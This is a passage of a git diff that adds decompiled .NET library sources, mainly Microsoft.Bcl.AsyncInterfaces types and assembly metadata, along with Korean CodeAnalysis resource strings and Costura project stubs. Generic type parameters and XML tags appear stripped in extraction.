발생하여 음수가 되었습니다. 로드 비율, 용량 및 테이블의 현재 크기를 확인하십시오. + 소스 배열의 길이가 짧습니다. 소스 인덱스, 길이, 배열의 하한을 확인하세요. + "{0}" 값은 "{1}" 형식이 아니므로 이 제네릭 컬렉션에 사용할 수 없습니다. + 열거가 시작되지 않았거나 이미 완료되었습니다. + \ No newline at end of file diff --git a/decompiled/Libraries/ko.microsoft.codeanalysis.resources/Properties/AssemblyInfo.cs b/decompiled/Libraries/ko.microsoft.codeanalysis.resources/Properties/AssemblyInfo.cs new file mode 100644 index 0000000..437c68c --- /dev/null +++ b/decompiled/Libraries/ko.microsoft.codeanalysis.resources/Properties/AssemblyInfo.cs @@ -0,0 +1,11 @@ +using System.Diagnostics; +using System.Reflection; +using System.Runtime.CompilerServices; + +[assembly: AssemblyCompany("Microsoft Corporation")] +[assembly: AssemblyCopyright("© Microsoft Corporation. All rights reserved.")] +[assembly: AssemblyFileVersion("4.800.23.55801")] +[assembly: AssemblyInformationalVersion("4.8.0-7.23558.1+e091728607ca0fc9efca55ccfb3e59259c6b5a0a")] +[assembly: AssemblyProduct("Microsoft.CodeAnalysis")] +[assembly: AssemblyTitle("Microsoft.CodeAnalysis")] +[assembly: AssemblyVersion("4.8.0.0")] diff --git a/decompiled/Libraries/ko.microsoft.codeanalysis.resources/costura.ko.microsoft.codeanalysis.resources.csproj b/decompiled/Libraries/ko.microsoft.codeanalysis.resources/costura.ko.microsoft.codeanalysis.resources.csproj new file mode 100644 index 0000000..8050a23 --- /dev/null +++ b/decompiled/Libraries/ko.microsoft.codeanalysis.resources/costura.ko.microsoft.codeanalysis.resources.csproj @@ -0,0 +1,17 @@ + + + Microsoft.CodeAnalysis.resources + False + netstandard2.0 + + + 14.0 + True + False + + + + + + + \ No newline at end of file diff --git a/decompiled/Libraries/microsoft.bcl.asyncinterfaces/.DS_Store b/decompiled/Libraries/microsoft.bcl.asyncinterfaces/.DS_Store new file mode 100644 index 0000000..78f893d Binary files /dev/null and b/decompiled/Libraries/microsoft.bcl.asyncinterfaces/.DS_Store differ diff --git a/decompiled/Libraries/microsoft.bcl.asyncinterfaces/Microsoft.CodeAnalysis/EmbeddedAttribute.cs b/decompiled/Libraries/microsoft.bcl.asyncinterfaces/Microsoft.CodeAnalysis/EmbeddedAttribute.cs new file mode 100644 index 0000000..eb4430f --- /dev/null +++ b/decompiled/Libraries/microsoft.bcl.asyncinterfaces/Microsoft.CodeAnalysis/EmbeddedAttribute.cs @@ -0,0 +1,10 @@ +using System; +using System.Runtime.CompilerServices; + +namespace Microsoft.CodeAnalysis; + +[CompilerGenerated] +[Embedded] +internal sealed class EmbeddedAttribute : Attribute +{ +} diff --git a/decompiled/Libraries/microsoft.bcl.asyncinterfaces/Properties/AssemblyInfo.cs b/decompiled/Libraries/microsoft.bcl.asyncinterfaces/Properties/AssemblyInfo.cs new file mode 100644 index 0000000..e813f50 --- /dev/null +++ b/decompiled/Libraries/microsoft.bcl.asyncinterfaces/Properties/AssemblyInfo.cs @@ -0,0 +1,23 @@ +using System; +using System.Diagnostics; +using System.Reflection; +using System.Runtime.CompilerServices; +using System.Runtime.InteropServices; +using System.Runtime.Versioning; + +[assembly: AssemblyMetadata("Serviceable", "True")] +[assembly: AssemblyMetadata("PreferInbox", "True")] +[assembly: AssemblyDefaultAlias("Microsoft.Bcl.AsyncInterfaces")] +[assembly: CLSCompliant(true)] +[assembly: AssemblyMetadata("IsTrimmable", "True")] +[assembly: DefaultDllImportSearchPaths(DllImportSearchPath.System32 | DllImportSearchPath.AssemblyDirectory)] +[assembly: AssemblyCompany("Microsoft Corporation")] +[assembly: AssemblyCopyright("© Microsoft Corporation. All rights reserved.")] +[assembly: AssemblyDescription("Provides the IAsyncEnumerable and IAsyncDisposable interfaces and helper types for .NET Standard 2.0. This package is not required starting with .NET Standard 2.1 and .NET Core 3.0.\r\n\r\nCommonly Used Types:\r\nSystem.IAsyncDisposable\r\nSystem.Collections.Generic.IAsyncEnumerable\r\nSystem.Collections.Generic.IAsyncEnumerator")] +[assembly: AssemblyFileVersion("8.0.23.53103")] +[assembly: AssemblyInformationalVersion("8.0.0+5535e31a712343a63f5d7d796cd874e563e5ac14")] +[assembly: AssemblyProduct("Microsoft® .NET")] +[assembly: AssemblyTitle("Microsoft.Bcl.AsyncInterfaces")] +[assembly: AssemblyMetadata("RepositoryUrl", "https://github.com/dotnet/runtime")] +[assembly: AssemblyVersion("8.0.0.0")] +[module: NullablePublicOnly(false)] diff --git a/decompiled/Libraries/microsoft.bcl.asyncinterfaces/System.Collections.Generic/IAsyncEnumerable.cs b/decompiled/Libraries/microsoft.bcl.asyncinterfaces/System.Collections.Generic/IAsyncEnumerable.cs new file mode 100644 index 0000000..01d7954 --- /dev/null +++ b/decompiled/Libraries/microsoft.bcl.asyncinterfaces/System.Collections.Generic/IAsyncEnumerable.cs @@ -0,0 +1,8 @@ +using System.Threading; + +namespace System.Collections.Generic; + +public interface IAsyncEnumerable +{ + IAsyncEnumerator GetAsyncEnumerator(CancellationToken cancellationToken = default(CancellationToken)); +} diff --git a/decompiled/Libraries/microsoft.bcl.asyncinterfaces/System.Collections.Generic/IAsyncEnumerator.cs b/decompiled/Libraries/microsoft.bcl.asyncinterfaces/System.Collections.Generic/IAsyncEnumerator.cs new file mode 100644 index 0000000..d2da12a --- /dev/null +++ b/decompiled/Libraries/microsoft.bcl.asyncinterfaces/System.Collections.Generic/IAsyncEnumerator.cs @@ -0,0 +1,10 @@ +using System.Threading.Tasks; + +namespace System.Collections.Generic; + +public interface IAsyncEnumerator : IAsyncDisposable +{ + T Current { get; } + + ValueTask MoveNextAsync(); +} diff --git a/decompiled/Libraries/microsoft.bcl.asyncinterfaces/System.Diagnostics.CodeAnalysis/AllowNullAttribute.cs b/decompiled/Libraries/microsoft.bcl.asyncinterfaces/System.Diagnostics.CodeAnalysis/AllowNullAttribute.cs new file mode 100644 index 0000000..6189a22 --- /dev/null +++ b/decompiled/Libraries/microsoft.bcl.asyncinterfaces/System.Diagnostics.CodeAnalysis/AllowNullAttribute.cs @@ -0,0 +1,6 @@ +namespace System.Diagnostics.CodeAnalysis; + +[AttributeUsage(AttributeTargets.Property | AttributeTargets.Field | AttributeTargets.Parameter, Inherited = false)] +internal sealed class AllowNullAttribute : Attribute +{ +} diff --git a/decompiled/Libraries/microsoft.bcl.asyncinterfaces/System.Diagnostics.CodeAnalysis/DisallowNullAttribute.cs b/decompiled/Libraries/microsoft.bcl.asyncinterfaces/System.Diagnostics.CodeAnalysis/DisallowNullAttribute.cs new file mode 100644 index 0000000..15b3a21 --- /dev/null +++ b/decompiled/Libraries/microsoft.bcl.asyncinterfaces/System.Diagnostics.CodeAnalysis/DisallowNullAttribute.cs @@ -0,0 +1,6 @@ +namespace System.Diagnostics.CodeAnalysis; + +[AttributeUsage(AttributeTargets.Property | AttributeTargets.Field | AttributeTargets.Parameter, Inherited = false)] +internal sealed class DisallowNullAttribute : Attribute +{ +} diff --git a/decompiled/Libraries/microsoft.bcl.asyncinterfaces/System.Diagnostics.CodeAnalysis/DoesNotReturnAttribute.cs b/decompiled/Libraries/microsoft.bcl.asyncinterfaces/System.Diagnostics.CodeAnalysis/DoesNotReturnAttribute.cs new file mode 100644 index 0000000..e3b3818 --- /dev/null +++ b/decompiled/Libraries/microsoft.bcl.asyncinterfaces/System.Diagnostics.CodeAnalysis/DoesNotReturnAttribute.cs @@ -0,0 +1,6 @@ +namespace System.Diagnostics.CodeAnalysis; + +[AttributeUsage(AttributeTargets.Method, Inherited = false)] +internal sealed class DoesNotReturnAttribute : Attribute +{ +} diff --git a/decompiled/Libraries/microsoft.bcl.asyncinterfaces/System.Diagnostics.CodeAnalysis/DoesNotReturnIfAttribute.cs b/decompiled/Libraries/microsoft.bcl.asyncinterfaces/System.Diagnostics.CodeAnalysis/DoesNotReturnIfAttribute.cs new file mode 100644 index 0000000..cee0e47 --- /dev/null +++ b/decompiled/Libraries/microsoft.bcl.asyncinterfaces/System.Diagnostics.CodeAnalysis/DoesNotReturnIfAttribute.cs @@ -0,0 +1,12 @@ +namespace System.Diagnostics.CodeAnalysis; + +[AttributeUsage(AttributeTargets.Parameter, Inherited = false)] +internal sealed class DoesNotReturnIfAttribute : Attribute +{ + public bool ParameterValue { get; } + + public DoesNotReturnIfAttribute(bool parameterValue) + { + ParameterValue = parameterValue; + } +} diff --git a/decompiled/Libraries/microsoft.bcl.asyncinterfaces/System.Diagnostics.CodeAnalysis/MaybeNullAttribute.cs b/decompiled/Libraries/microsoft.bcl.asyncinterfaces/System.Diagnostics.CodeAnalysis/MaybeNullAttribute.cs new file mode 100644 index 0000000..a25d17e --- /dev/null +++ b/decompiled/Libraries/microsoft.bcl.asyncinterfaces/System.Diagnostics.CodeAnalysis/MaybeNullAttribute.cs @@ -0,0 +1,6 @@ +namespace System.Diagnostics.CodeAnalysis; + +[AttributeUsage(AttributeTargets.Property | AttributeTargets.Field | AttributeTargets.Parameter | AttributeTargets.ReturnValue, Inherited = false)] +internal sealed class MaybeNullAttribute : Attribute +{ +} diff --git a/decompiled/Libraries/microsoft.bcl.asyncinterfaces/System.Diagnostics.CodeAnalysis/MaybeNullWhenAttribute.cs b/decompiled/Libraries/microsoft.bcl.asyncinterfaces/System.Diagnostics.CodeAnalysis/MaybeNullWhenAttribute.cs new file mode 100644 index 0000000..f637f90 --- /dev/null +++ b/decompiled/Libraries/microsoft.bcl.asyncinterfaces/System.Diagnostics.CodeAnalysis/MaybeNullWhenAttribute.cs @@ -0,0 +1,12 @@ +namespace System.Diagnostics.CodeAnalysis; + +[AttributeUsage(AttributeTargets.Parameter, Inherited = false)] +internal sealed class MaybeNullWhenAttribute : Attribute +{ + public bool ReturnValue { get; } + + public MaybeNullWhenAttribute(bool returnValue) + { + ReturnValue = returnValue; + } +} diff --git a/decompiled/Libraries/microsoft.bcl.asyncinterfaces/System.Diagnostics.CodeAnalysis/MemberNotNullAttribute.cs b/decompiled/Libraries/microsoft.bcl.asyncinterfaces/System.Diagnostics.CodeAnalysis/MemberNotNullAttribute.cs new file mode 100644 index 0000000..64cf83f --- /dev/null +++ b/decompiled/Libraries/microsoft.bcl.asyncinterfaces/System.Diagnostics.CodeAnalysis/MemberNotNullAttribute.cs @@ -0,0 +1,17 @@ +namespace System.Diagnostics.CodeAnalysis; + +[AttributeUsage(AttributeTargets.Method | AttributeTargets.Property, Inherited = false, AllowMultiple = true)] +internal sealed class MemberNotNullAttribute : Attribute +{ + public string[] Members { get; } + + public MemberNotNullAttribute(string member) + { + Members = new string[1] { member }; + } + + public MemberNotNullAttribute(params string[] members) + { + Members = members; + } +} diff --git a/decompiled/Libraries/microsoft.bcl.asyncinterfaces/System.Diagnostics.CodeAnalysis/MemberNotNullWhenAttribute.cs b/decompiled/Libraries/microsoft.bcl.asyncinterfaces/System.Diagnostics.CodeAnalysis/MemberNotNullWhenAttribute.cs new file mode 100644 index 0000000..ee71d72 --- /dev/null +++ b/decompiled/Libraries/microsoft.bcl.asyncinterfaces/System.Diagnostics.CodeAnalysis/MemberNotNullWhenAttribute.cs @@ -0,0 +1,21 @@ +namespace System.Diagnostics.CodeAnalysis; + +[AttributeUsage(AttributeTargets.Method | AttributeTargets.Property, Inherited = false, AllowMultiple = true)] +internal sealed class MemberNotNullWhenAttribute : Attribute +{ + public bool ReturnValue { get; } + + public string[] Members { get; } + + public MemberNotNullWhenAttribute(bool returnValue, string member) + { + ReturnValue = returnValue; + Members = new string[1] { member }; + } + + public MemberNotNullWhenAttribute(bool returnValue, params string[] members) + { + ReturnValue = returnValue; + Members = members; + } +} diff --git a/decompiled/Libraries/microsoft.bcl.asyncinterfaces/System.Diagnostics.CodeAnalysis/NotNullAttribute.cs b/decompiled/Libraries/microsoft.bcl.asyncinterfaces/System.Diagnostics.CodeAnalysis/NotNullAttribute.cs new file mode 100644 index 0000000..d096bc2 --- /dev/null +++ b/decompiled/Libraries/microsoft.bcl.asyncinterfaces/System.Diagnostics.CodeAnalysis/NotNullAttribute.cs @@ -0,0 +1,6 @@ +namespace System.Diagnostics.CodeAnalysis; + +[AttributeUsage(AttributeTargets.Property | AttributeTargets.Field | AttributeTargets.Parameter | AttributeTargets.ReturnValue, Inherited = false)] +internal sealed class NotNullAttribute : Attribute +{ +} diff --git a/decompiled/Libraries/microsoft.bcl.asyncinterfaces/System.Diagnostics.CodeAnalysis/NotNullIfNotNullAttribute.cs b/decompiled/Libraries/microsoft.bcl.asyncinterfaces/System.Diagnostics.CodeAnalysis/NotNullIfNotNullAttribute.cs new file mode 100644 index 0000000..e269971 --- /dev/null +++ b/decompiled/Libraries/microsoft.bcl.asyncinterfaces/System.Diagnostics.CodeAnalysis/NotNullIfNotNullAttribute.cs @@ -0,0 +1,12 @@ +namespace System.Diagnostics.CodeAnalysis; + +[AttributeUsage(AttributeTargets.Property | AttributeTargets.Parameter | AttributeTargets.ReturnValue, AllowMultiple = true, Inherited = false)] +internal sealed class NotNullIfNotNullAttribute : Attribute +{ + public string ParameterName { get; } + + public NotNullIfNotNullAttribute(string parameterName) + { + ParameterName = parameterName; + } +} diff --git a/decompiled/Libraries/microsoft.bcl.asyncinterfaces/System.Diagnostics.CodeAnalysis/NotNullWhenAttribute.cs b/decompiled/Libraries/microsoft.bcl.asyncinterfaces/System.Diagnostics.CodeAnalysis/NotNullWhenAttribute.cs new file mode 100644 index 0000000..8923436 --- /dev/null +++ b/decompiled/Libraries/microsoft.bcl.asyncinterfaces/System.Diagnostics.CodeAnalysis/NotNullWhenAttribute.cs @@ -0,0 +1,12 @@ +namespace System.Diagnostics.CodeAnalysis; + +[AttributeUsage(AttributeTargets.Parameter, Inherited = false)] +internal sealed class NotNullWhenAttribute : Attribute +{ + public bool ReturnValue { get; } + + public NotNullWhenAttribute(bool returnValue) + { + ReturnValue = returnValue; + } +} diff --git a/decompiled/Libraries/microsoft.bcl.asyncinterfaces/System.Runtime.CompilerServices/AsyncIteratorMethodBuilder.cs b/decompiled/Libraries/microsoft.bcl.asyncinterfaces/System.Runtime.CompilerServices/AsyncIteratorMethodBuilder.cs new file mode 100644 index 0000000..129bb8d --- /dev/null +++ b/decompiled/Libraries/microsoft.bcl.asyncinterfaces/System.Runtime.CompilerServices/AsyncIteratorMethodBuilder.cs @@ -0,0 +1,43 @@ +using System.Runtime.InteropServices; +using System.Threading; + +namespace System.Runtime.CompilerServices; + +[StructLayout(LayoutKind.Auto)] +public struct AsyncIteratorMethodBuilder +{ + private AsyncTaskMethodBuilder _methodBuilder; + + private object _id; + + internal object ObjectIdForDebugger => _id ?? Interlocked.CompareExchange(ref _id, new object(), null) ?? _id; + + public static AsyncIteratorMethodBuilder Create() + { + return new AsyncIteratorMethodBuilder + { + _methodBuilder = AsyncTaskMethodBuilder.Create() + }; + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + public void MoveNext(ref TStateMachine stateMachine) where TStateMachine : IAsyncStateMachine + { + _methodBuilder.Start(ref stateMachine); + } + + public void AwaitOnCompleted(ref TAwaiter awaiter, ref TStateMachine stateMachine) where TAwaiter : INotifyCompletion where TStateMachine : IAsyncStateMachine + { + _methodBuilder.AwaitOnCompleted(ref awaiter, ref stateMachine); + } + + public void AwaitUnsafeOnCompleted(ref TAwaiter awaiter, ref TStateMachine stateMachine) where TAwaiter : ICriticalNotifyCompletion where TStateMachine : IAsyncStateMachine + { + _methodBuilder.AwaitUnsafeOnCompleted(ref awaiter, ref stateMachine); + } + + public void Complete() + { + _methodBuilder.SetResult(); + } +} diff --git a/decompiled/Libraries/microsoft.bcl.asyncinterfaces/System.Runtime.CompilerServices/AsyncIteratorStateMachineAttribute.cs b/decompiled/Libraries/microsoft.bcl.asyncinterfaces/System.Runtime.CompilerServices/AsyncIteratorStateMachineAttribute.cs new file mode 100644 index 0000000..4f0c1bc --- /dev/null +++ b/decompiled/Libraries/microsoft.bcl.asyncinterfaces/System.Runtime.CompilerServices/AsyncIteratorStateMachineAttribute.cs @@ -0,0 +1,10 @@ +namespace System.Runtime.CompilerServices; + +[AttributeUsage(AttributeTargets.Method, Inherited = false, AllowMultiple = false)] +public sealed class AsyncIteratorStateMachineAttribute : StateMachineAttribute +{ + public AsyncIteratorStateMachineAttribute(Type stateMachineType) + : base(stateMachineType) + { + } +} diff --git a/decompiled/Libraries/microsoft.bcl.asyncinterfaces/System.Runtime.CompilerServices/ConfiguredAsyncDisposable.cs b/decompiled/Libraries/microsoft.bcl.asyncinterfaces/System.Runtime.CompilerServices/ConfiguredAsyncDisposable.cs new file mode 100644 index 0000000..560d019 --- /dev/null +++ b/decompiled/Libraries/microsoft.bcl.asyncinterfaces/System.Runtime.CompilerServices/ConfiguredAsyncDisposable.cs @@ -0,0 +1,22 @@ +using System.Runtime.InteropServices; + +namespace System.Runtime.CompilerServices; + +[StructLayout(LayoutKind.Auto)] +public readonly struct ConfiguredAsyncDisposable +{ + private readonly IAsyncDisposable _source; + + private readonly bool _continueOnCapturedContext; + + internal ConfiguredAsyncDisposable(IAsyncDisposable source, bool continueOnCapturedContext) + { + _source = source; + _continueOnCapturedContext = continueOnCapturedContext; + } + + public ConfiguredValueTaskAwaitable DisposeAsync() + { + return _source.DisposeAsync().ConfigureAwait(_continueOnCapturedContext); + } +} diff --git a/decompiled/Libraries/microsoft.bcl.asyncinterfaces/System.Runtime.CompilerServices/ConfiguredCancelableAsyncEnumerable.cs b/decompiled/Libraries/microsoft.bcl.asyncinterfaces/System.Runtime.CompilerServices/ConfiguredCancelableAsyncEnumerable.cs new file mode 100644 index 0000000..eff7307 --- /dev/null +++ b/decompiled/Libraries/microsoft.bcl.asyncinterfaces/System.Runtime.CompilerServices/ConfiguredCancelableAsyncEnumerable.cs @@ -0,0 +1,63 @@ +using System.Collections.Generic; +using System.Runtime.InteropServices; +using System.Threading; + +namespace System.Runtime.CompilerServices; + +[StructLayout(LayoutKind.Auto)] +public readonly struct ConfiguredCancelableAsyncEnumerable +{ + [StructLayout(LayoutKind.Auto)] + public readonly struct Enumerator + { + private readonly IAsyncEnumerator _enumerator; + + private readonly bool _continueOnCapturedContext; + + public T Current => _enumerator.Current; + + internal Enumerator(IAsyncEnumerator enumerator, bool continueOnCapturedContext) + { + _enumerator = enumerator; + _continueOnCapturedContext = continueOnCapturedContext; + } + + public ConfiguredValueTaskAwaitable MoveNextAsync() + { + return _enumerator.MoveNextAsync().ConfigureAwait(_continueOnCapturedContext); + } + + public ConfiguredValueTaskAwaitable DisposeAsync() + { + return _enumerator.DisposeAsync().ConfigureAwait(_continueOnCapturedContext); + } + } + + private readonly IAsyncEnumerable _enumerable; + + private readonly CancellationToken _cancellationToken; + + private readonly bool _continueOnCapturedContext; + + internal ConfiguredCancelableAsyncEnumerable(IAsyncEnumerable enumerable, bool continueOnCapturedContext, CancellationToken cancellationToken) + { + _enumerable = enumerable; + _continueOnCapturedContext = continueOnCapturedContext; + _cancellationToken = cancellationToken; + } + + public ConfiguredCancelableAsyncEnumerable ConfigureAwait(bool continueOnCapturedContext) + { + return new ConfiguredCancelableAsyncEnumerable(_enumerable, continueOnCapturedContext, _cancellationToken); + } + + public ConfiguredCancelableAsyncEnumerable WithCancellation(CancellationToken cancellationToken) + { + return new ConfiguredCancelableAsyncEnumerable(_enumerable, _continueOnCapturedContext, cancellationToken); + } + + public Enumerator GetAsyncEnumerator() + { + return new Enumerator(_enumerable.GetAsyncEnumerator(_cancellationToken), _continueOnCapturedContext); + } +} diff --git a/decompiled/Libraries/microsoft.bcl.asyncinterfaces/System.Runtime.CompilerServices/EnumeratorCancellationAttribute.cs b/decompiled/Libraries/microsoft.bcl.asyncinterfaces/System.Runtime.CompilerServices/EnumeratorCancellationAttribute.cs new file mode 100644 index 0000000..8af5e17 --- /dev/null +++ b/decompiled/Libraries/microsoft.bcl.asyncinterfaces/System.Runtime.CompilerServices/EnumeratorCancellationAttribute.cs @@ -0,0 +1,6 @@ +namespace System.Runtime.CompilerServices; + +[AttributeUsage(AttributeTargets.Parameter, Inherited = false)] +public sealed class EnumeratorCancellationAttribute : Attribute +{ +} diff --git a/decompiled/Libraries/microsoft.bcl.asyncinterfaces/System.Runtime.CompilerServices/NullablePublicOnlyAttribute.cs b/decompiled/Libraries/microsoft.bcl.asyncinterfaces/System.Runtime.CompilerServices/NullablePublicOnlyAttribute.cs new file mode 100644 index 0000000..b1e6bfb --- /dev/null +++ b/decompiled/Libraries/microsoft.bcl.asyncinterfaces/System.Runtime.CompilerServices/NullablePublicOnlyAttribute.cs @@ -0,0 +1,16 @@ +using Microsoft.CodeAnalysis; + +namespace System.Runtime.CompilerServices; + +[CompilerGenerated] +[Embedded] +[AttributeUsage(AttributeTargets.Module, AllowMultiple = false, Inherited = false)] +internal sealed class NullablePublicOnlyAttribute : Attribute +{ + public readonly bool IncludesInternals; + + public NullablePublicOnlyAttribute(bool P_0) + { + IncludesInternals = P_0; + } +} diff --git a/decompiled/Libraries/microsoft.bcl.asyncinterfaces/System.Runtime.InteropServices/LibraryImportAttribute.cs b/decompiled/Libraries/microsoft.bcl.asyncinterfaces/System.Runtime.InteropServices/LibraryImportAttribute.cs new file mode 100644 index 0000000..d549164 --- /dev/null +++ b/decompiled/Libraries/microsoft.bcl.asyncinterfaces/System.Runtime.InteropServices/LibraryImportAttribute.cs @@ -0,0 +1,20 @@ +namespace System.Runtime.InteropServices; + +[AttributeUsage(AttributeTargets.Method, AllowMultiple = false, Inherited = false)] +internal sealed class LibraryImportAttribute : Attribute +{ + public string LibraryName { get; } + + public string EntryPoint { get; set; } + + public StringMarshalling StringMarshalling { get; set; } + + public Type StringMarshallingCustomType { get; set; } + + public bool SetLastError { get; set; } + + public LibraryImportAttribute(string libraryName) + { + LibraryName = libraryName; + } +} diff --git a/decompiled/Libraries/microsoft.bcl.asyncinterfaces/System.Runtime.InteropServices/StringMarshalling.cs b/decompiled/Libraries/microsoft.bcl.asyncinterfaces/System.Runtime.InteropServices/StringMarshalling.cs new file mode 100644 index 0000000..b8bc953 --- /dev/null +++ b/decompiled/Libraries/microsoft.bcl.asyncinterfaces/System.Runtime.InteropServices/StringMarshalling.cs @@ -0,0 +1,8 @@ +namespace System.Runtime.InteropServices; + +internal enum StringMarshalling +{ + Custom, + Utf8, + Utf16 +} diff --git a/decompiled/Libraries/microsoft.bcl.asyncinterfaces/System.Threading.Tasks.Sources/ManualResetValueTaskSourceCore.cs b/decompiled/Libraries/microsoft.bcl.asyncinterfaces/System.Threading.Tasks.Sources/ManualResetValueTaskSourceCore.cs new file mode 100644 index 0000000..4d52ee6 --- /dev/null +++ b/decompiled/Libraries/microsoft.bcl.asyncinterfaces/System.Threading.Tasks.Sources/ManualResetValueTaskSourceCore.cs @@ -0,0 +1,210 @@ +using System.Runtime.ExceptionServices; +using System.Runtime.InteropServices; + +namespace System.Threading.Tasks.Sources; + +[StructLayout(LayoutKind.Auto)] +public struct ManualResetValueTaskSourceCore +{ + private Action _continuation; + + private object _continuationState; + + private ExecutionContext _executionContext; + + private object _capturedContext; + + private bool _completed; + + private TResult _result; + + private ExceptionDispatchInfo _error; + + private short _version; + + public bool RunContinuationsAsynchronously { get; set; } + + public short Version => _version; + + public void Reset() + { + _version++; + _completed = false; + _result = default(TResult); + _error = null; + _executionContext = null; + _capturedContext = null; + _continuation = null; + _continuationState = null; + } + + public void SetResult(TResult result) + { + _result = result; + SignalCompletion(); + } + + public void SetException(Exception error) + { + _error = ExceptionDispatchInfo.Capture(error); + SignalCompletion(); + } + + public ValueTaskSourceStatus GetStatus(short token) + { + ValidateToken(token); + if (_continuation != null && _completed) + { + if (_error != null) + { + if (!(_error.SourceException is OperationCanceledException)) + { + return ValueTaskSourceStatus.Faulted; + } + return ValueTaskSourceStatus.Canceled; + } + return ValueTaskSourceStatus.Succeeded; + } + return ValueTaskSourceStatus.Pending; + } + + public TResult GetResult(short token) + { + ValidateToken(token); + if (!_completed) + { + throw new InvalidOperationException(); + } + _error?.Throw(); + return _result; + } + + public void OnCompleted(Action continuation, object? state, short token, ValueTaskSourceOnCompletedFlags flags) + { + if (continuation == null) + { + throw new ArgumentNullException("continuation"); + } + ValidateToken(token); + if ((flags & ValueTaskSourceOnCompletedFlags.FlowExecutionContext) != ValueTaskSourceOnCompletedFlags.None) + { + _executionContext = ExecutionContext.Capture(); + } + if ((flags & ValueTaskSourceOnCompletedFlags.UseSchedulingContext) != ValueTaskSourceOnCompletedFlags.None) + { + SynchronizationContext current = SynchronizationContext.Current; + if (current != null && current.GetType() != typeof(SynchronizationContext)) + { + _capturedContext = current; + } + else + { + TaskScheduler current2 = TaskScheduler.Current; + if (current2 != TaskScheduler.Default) + { + _capturedContext = current2; + } + } + } + object obj = _continuation; + if (obj == null) + { + _continuationState = state; + obj = Interlocked.CompareExchange(ref _continuation, continuation, null); + } + if (obj == null) + { + return; + } + if (obj != System.Threading.Tasks.Sources.ManualResetValueTaskSourceCoreShared.s_sentinel) + { + throw new InvalidOperationException(); + } + object capturedContext = _capturedContext; + if (capturedContext != null) + { + if (!(capturedContext is SynchronizationContext synchronizationContext)) + { + if (capturedContext is TaskScheduler scheduler) + { + Task.Factory.StartNew(continuation, state, CancellationToken.None, TaskCreationOptions.DenyChildAttach, scheduler); + } + } + else + { + synchronizationContext.Post(delegate(object s) + { + Tuple, object> tuple = (Tuple, object>)s; + tuple.Item1(tuple.Item2); + }, Tuple.Create(continuation, state)); + } + } + else + { + Task.Factory.StartNew(continuation, state, CancellationToken.None, TaskCreationOptions.DenyChildAttach, TaskScheduler.Default); + } + } + + private void ValidateToken(short token) + { + if (token != _version) + { + throw new InvalidOperationException(); + } + } + + private void SignalCompletion() + { + if (_completed) + { + throw new InvalidOperationException(); + } + _completed = true; + if (_continuation == null && Interlocked.CompareExchange(ref _continuation, System.Threading.Tasks.Sources.ManualResetValueTaskSourceCoreShared.s_sentinel, null) == null) + { + return; + } + if (_executionContext != null) + { + ExecutionContext.Run(_executionContext, delegate(object s) + { + ((ManualResetValueTaskSourceCore)s).InvokeContinuation(); + }, this); + } + else + { + InvokeContinuation(); + } + } + + private void InvokeContinuation() + { + object capturedContext = _capturedContext; + if (capturedContext != null) + { + if (!(capturedContext is SynchronizationContext synchronizationContext)) + { + if (capturedContext is TaskScheduler scheduler) + { + Task.Factory.StartNew(_continuation, _continuationState, CancellationToken.None, TaskCreationOptions.DenyChildAttach, scheduler); + } + } + else + { + synchronizationContext.Post(delegate(object s) + { + Tuple, object> tuple = (Tuple, object>)s; + tuple.Item1(tuple.Item2); + }, Tuple.Create(_continuation, _continuationState)); + } + } + else if (RunContinuationsAsynchronously) + { + Task.Factory.StartNew(_continuation, _continuationState, CancellationToken.None, TaskCreationOptions.DenyChildAttach, TaskScheduler.Default); + } + else + { + _continuation(_continuationState); + } + } +} diff --git a/decompiled/Libraries/microsoft.bcl.asyncinterfaces/System.Threading.Tasks.Sources/ManualResetValueTaskSourceCoreShared.cs b/decompiled/Libraries/microsoft.bcl.asyncinterfaces/System.Threading.Tasks.Sources/ManualResetValueTaskSourceCoreShared.cs new file mode 100644 index 0000000..75c3090 --- /dev/null +++ b/decompiled/Libraries/microsoft.bcl.asyncinterfaces/System.Threading.Tasks.Sources/ManualResetValueTaskSourceCoreShared.cs @@ -0,0 +1,11 @@ +namespace System.Threading.Tasks.Sources; + +internal static class ManualResetValueTaskSourceCoreShared +{ + internal static readonly Action s_sentinel = CompletionSentinel; + + private static void CompletionSentinel(object _) + { + throw new InvalidOperationException(); + } +} diff --git a/decompiled/Libraries/microsoft.bcl.asyncinterfaces/System.Threading.Tasks/TaskAsyncEnumerableExtensions.cs b/decompiled/Libraries/microsoft.bcl.asyncinterfaces/System.Threading.Tasks/TaskAsyncEnumerableExtensions.cs new file mode 100644 index 0000000..48ab75a --- /dev/null +++ b/decompiled/Libraries/microsoft.bcl.asyncinterfaces/System.Threading.Tasks/TaskAsyncEnumerableExtensions.cs @@ -0,0 +1,22 @@ +using System.Collections.Generic; +using System.Runtime.CompilerServices; + +namespace System.Threading.Tasks; + +public static class TaskAsyncEnumerableExtensions +{ + public static ConfiguredAsyncDisposable ConfigureAwait(this IAsyncDisposable source, bool continueOnCapturedContext) + { + return new ConfiguredAsyncDisposable(source, continueOnCapturedContext); + } + + public static ConfiguredCancelableAsyncEnumerable ConfigureAwait(this IAsyncEnumerable source, bool continueOnCapturedContext) + { + return new ConfiguredCancelableAsyncEnumerable(source, continueOnCapturedContext, default(CancellationToken)); + } + + public static ConfiguredCancelableAsyncEnumerable WithCancellation(this IAsyncEnumerable source, CancellationToken cancellationToken) + { + return new ConfiguredCancelableAsyncEnumerable(source, continueOnCapturedContext: true, cancellationToken); + } +} diff --git a/decompiled/Libraries/microsoft.bcl.asyncinterfaces/System/IAsyncDisposable.cs b/decompiled/Libraries/microsoft.bcl.asyncinterfaces/System/IAsyncDisposable.cs new file mode 100644 index 0000000..ed1aa7b --- /dev/null +++ b/decompiled/Libraries/microsoft.bcl.asyncinterfaces/System/IAsyncDisposable.cs @@ -0,0 +1,8 @@ +using System.Threading.Tasks; + +namespace System; + +public interface IAsyncDisposable +{ + ValueTask DisposeAsync(); +} diff --git a/decompiled/Libraries/microsoft.bcl.asyncinterfaces/costura.microsoft.bcl.asyncinterfaces.csproj b/decompiled/Libraries/microsoft.bcl.asyncinterfaces/costura.microsoft.bcl.asyncinterfaces.csproj new file mode 100644 index 0000000..7eecab1 --- /dev/null +++ b/decompiled/Libraries/microsoft.bcl.asyncinterfaces/costura.microsoft.bcl.asyncinterfaces.csproj @@ -0,0 +1,17 @@ + + + Microsoft.Bcl.AsyncInterfaces + False + net462 + + + 14.0 + True + False + + + + + + + \ No newline at end of file diff --git 